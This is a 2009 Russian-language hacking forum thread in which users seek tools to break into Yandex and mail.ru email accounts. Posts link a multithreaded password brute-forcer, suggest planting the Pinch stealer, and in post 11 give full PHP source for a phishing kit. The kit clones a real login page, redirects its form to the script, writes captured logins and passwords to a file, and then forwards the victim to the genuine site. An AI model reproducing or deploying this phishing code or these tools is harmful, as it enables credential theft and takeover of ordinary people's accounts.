Яндекс Брут

Discussion in 'Уязвимости Mail-сервисов' started by andreipup, 1 Apr 2009.

  1. andreipup

    andreipup Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    265
    Likes Received:
    21
    Reputations:
    0
    У кого нить есть брут на перле под яндекс???
    Или что то подобное???
     
  2. edos

    edos Member

    Joined:
    29 Aug 2005
    Messages:
    115
    Likes Received:
    26
    Reputations:
    9
    тоже интересуюсь или рабочий фейк
     
    1 person likes this.
  3. OOO

    OOO Banned

    Joined:
    10 Mar 2009
    Messages:
    173
    Likes Received:
    55
    Reputations:
    2
    http://x-max.i7i.ru/blog/825/1563_WH_YandeX_BRUTE_v2.4

    Взлом почты на яндексе. WH_YandeX_BRUTE - Многопоточный брутфорс, осуществляющий массовый подбор паролей к мылам на www.yandex.ru. Яндекс брутер.


    Не пробовал но говорят рабочий
     
    1 person likes this.
  4. MongBa†

    MongBa† Banned

    Joined:
    16 May 2008
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Снифанул...
    Банальный POP3 брутфорс, уже давно не актуален.

    Присоеденяюсь к просьбе.. мож у кого-то есть проксевый POP3/SMTP брут? :rolleyes:
     
    #4 MongBa†, 8 Apr 2009
    Last edited: 8 Apr 2009
  5. Te3ka

    Te3ka New Member

    Joined:
    8 Apr 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    вот нашол..... вполне рабочий!! не откажусь от плюсега....WH_YANDEX_BRUTE_4.0_.rar
     
  6. IcEnd

    IcEnd Elder - Старейшина

    Joined:
    24 Sep 2008
    Messages:
    0
    Likes Received:
    106
    Reputations:
    7
    #6 IcEnd, 10 Apr 2009
    Last edited: 10 Apr 2009
  7. F1shka

    F1shka Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    173
    Likes Received:
    305
    Reputations:
    3
    Если не ошибаюсь, то это обычный popКА брутерс))) НЕ АКТУАЛ вроде.
     
  8. N3sh

    N3sh New Member

    Joined:
    5 Apr 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Не проще пинча пихнуть?на мой взгляд шас угнать мыло выше с пинчем чем брутить низнама какое количество времени и не факт что подберешь пасс.
     
  9. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    можно попробовать написать и самому http://forum.antichat.ru/thread99188-%EF%E8%F8%E5%EC+%F4%E5%E9%EA.html
     
  10. -=$MiRoN$=-

    -=$MiRoN$=- Banned

    Joined:
    5 Apr 2009
    Messages:
    83
    Likes Received:
    28
    Reputations:
    -5
    Фейк есть!
    ну он хорошых денег стоить!
     
  11. Ri4i

    Ri4i Elder - Старейшина

    Joined:
    5 Feb 2008
    Messages:
    45
    Likes Received:
    9
    Reputations:
    0
    Вот бесплатно "универсальный " фэйк.
    По умолчанию на мэйл ру. Работает и на яндексе(проверял)
    Цитата автора:
    Не делает фейк icq.com , и ещё некоторых сайтов. Но фейк всяких форумов, хуяндекса и так далее делает идеально.

    PHP:
    <?php 
    //Правим то что ниже 
    $site="http://mail.ru/"//Адрес сайта, фейк которого нужно сделать  (http:// и закрывающий слеш обязателен!) 
    $upsite="http://mail.ru/";//Куда перекинуть юзера после ввода пароля 
    $yoursite="http://Адрес этого скрипта/index.php"//Адрес фейка 
    $nformat=2;//Номер формата  (1) $p1 @ $p2 ; $p3 (2) $p1 *перенос строки* $p2 *перенос строки* $p3  (3) $p1 ; $p2 
    $p1="Login"//Имена полей которые ловим POST'ом (берите их из ХТМЛ кода сайта. пример: <input type="text" class="long" size="10" name="Login" tabindex="1" value="asdfsad" />   Вот name="Login" и есть то самое поле. Вписываем Login 
    $p2="Domain"
    $p3="Password"
    $files="info.txt"//Файл куда записывать пароли. Необходимы права 666 
    //Дальше ничего править не нужно 
    $p1=$_POST[$p1]; 
    $p2=$_POST[$p2]; 
    $p3=$_POST[$p3]; 
    $site str_replace('https://','http://' ,$site); $rid="193"
    if (
    strtoupper(substr(PHP_OS,0,3)) === 'WIN') { $correct_return "\r\n"; } else { $correct_return "\n"; } 
    $format[1]=$p1."@".$p2.";".$p3.$correct_return
    $format[2]=$p1.$correct_return.$p2.$correct_return.$p3.$correct_return
    $format[3]=$p1.";".$p2.$correct_return
    function 
    fvf($site,$yoursite,$rid) { 
             
    $contents=file_get_contents $site ); 
             
    $sd=0
             
    $sd1=""
             while (
    $sd1 != "/") { $sd=$sd-1$sd1=substr($site$sd1); } 
            
    $sd=$sd+1
            if (
    $sd != "") { $site=substr($site,0,$sd); } 
            
    $contents str_replace('onsubmit=','onsubmit=""' ,$contents); 
            
    $contents str_replace('url(''url('.$site ,$contents); 
            
    $contents str_replace('url('.$site.'"''url("'.$site ,$contents); 
            
    $contents str_replace("url(".$site."'""url('".$site ,$contents); 
            
    $contents str_replace('get''post' ,$contents); 
            
    $contents str_replace('Get''post' ,$contents); 
            
    $contents str_replace('GET''post' ,$contents); 
            
    $contents str_replace('<form','<form action="'.$yoursite.'?'.$rid.'='.$rid.'&site='.$site.'" ',$contents); 
            
    $contents str_replace("HREF","href" ,$contents); 
            
    $contents str_replace("SRC","src" ,$contents); 
            
    $contents str_replace("BACKGROUND","background" ,$contents); 
            
    $contents str_replace('href="','href="'.$site ,$contents); 
            
    $contents str_replace('href ="','href ="'.$site ,$contents); 
            
    $contents str_replace("href='","href='".$site ,$contents); 
            
    $contents str_replace('href=/','href ='.$site ,$contents); 
            
    $contents str_replace('src="','src="'.$site ,$contents); 
            
    $contents str_replace("src='","src='".$site ,$contents); 
            
    $contents str_replace("src=i","src=".$site."i" ,$contents); 
            
    $contents str_replace('background="','background="'.$site ,$contents); 
            
    $contents str_replace('background ="','background ="'.$site ,$contents); 
            
    $contents str_replace("background='","background='".$site ,$contents); 
            
    $contents str_replace("background=i","background=".$site."i" ,$contents); 
            
    $contents str_replace($site.$site,$site,$contents); 
            
    $contents str_replace($site."/"$site ,$contents); 
            
    $contents str_replace('"m''" m' ,$contents); 
            
    $contents str_replace('="'.$site.'http''="http',$contents); 
            echo 
    $contents

    if (
    $_GET[$rid] != ""

            
    $file fopen ($files,"a+"); 
            if ( !
    $file ) { echo("Ошибка открытия файла"); } else { fputs $file$format[$nformat].$correct_return); } fclose ($file); 
            if (
    $upsite != "") {echo "<meta http-equiv='REFRESH' CONTENT='0;URL=".$upsite."'>";  exit;}; 
            
    fvf($nosite,$yoursite,$rid); 
            exit; 

    fvf($site,$yoursite,$rid); 
    ?>
    --------------------------------------------
    Автор nod со злого
     
  12. _K2_

    _K2_ Banned

    Joined:
    21 Apr 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    как нащет XSS ?